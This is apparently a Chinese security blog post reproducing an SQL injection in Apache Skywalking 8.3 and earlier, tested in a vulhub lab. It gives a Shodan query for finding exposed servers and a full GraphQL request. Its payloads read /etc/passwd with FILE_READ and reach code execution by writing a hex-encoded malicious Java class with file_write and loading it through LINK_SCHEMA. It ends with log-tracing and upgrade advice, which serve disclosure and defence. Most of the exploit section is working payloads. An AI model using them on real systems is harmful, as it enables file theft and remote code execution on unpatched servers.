Apache Skywalking <=8.3 SQL注入漏洞复现

Apache Skywalking <=8.3 SQL注入漏洞复现

漏洞简述

Apache Skywalking 是专门为微服务架构和云原生架构系统而设计并且支持分布式链路追踪的APM系统。Skywalking历史上存在两次sql注入漏洞,CVE-2020-9483、CVE-2020-13921。在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。

Skywalking默认配置下使用的数据库为h2,且使用sa权限启动。

漏洞影响版本

Apache Skywalking <=8.3

Shodan搜索语法

http.favicon.hash:1929532064

漏洞exp

https://github.com/Vulnmachines/ApacheSkywalking

漏洞环境搭建

使用vulhub进行复现。

访问8080端口即可查看Skywalking的页面。

漏洞复现

该sql注入漏洞位于/graphqlmetricName参数的值被拼接到from后面。发送如下graphql查询。

POST /graphql HTTP/1.1
Host: vul.zgao.top:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 405

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"sqli",
            "state":"ALL",
            "paging":{
                "pageSize":10
            }
        }
    }
}

sqli注入读取系统文件

将参数替换为如下sql语句读取系统敏感文件。

INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--

sqli_to_RCE

file_write写入evil类

H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。这里利用H2的file_write函数写入恶意类。

import java.io.IOException;

public class evil {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {

    }
}

xxd将class转为16进制

先把上面的java类编译为class。

javac evil.java -target 1.6 -source 1.6

将编译后的evil.class 转为16进制。

xxd -p -c 1000000 evil.class 
INFORMATION_SCHEMA.USERS union  all select file_write('cafebabe0000003200230a000800140a001500160800170a001500180700190a0005001a07001b07001c0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001901000a536f7572636546696c650100096576696c2e6a6176610c0009000a07001d0c001e001f010012746f756368202f746d702f737563636573730c002000210100136a6176612f696f2f494f457863657074696f6e0c0022000a0100046576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000001d00010001000000052ab70001b100000001000c000000060001000000030009000d000e0001000b000000190000000100000001b100000001000c0000000600010000000e0008000f000a0001000b0000004f0002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050002000c0000001600050000000600090009000c0007000d00080011000a00100000000700024c0700110400010012000000020013','evil.class'))a where 1=? or 1=? or 1=? --

此时查看docker中的文件,发现有新生成的evil.class文件。

LINK_SCHEMA调用evil类

INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --

需要注意,如果使用vulhub的环境进行复现的话,是有两个docker。在命令执行生成的文件是生成在oap的容器中。

溯源排查

目录:skywalking/logs

cat skywalking-oap-server.log | grep -i metric --color -C5

修复建议

  1. 升级Apache Skywalking 到最新的 v8.4.0 版本。
  2. 将默认h2数据库替换为其它支持的数据库。
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论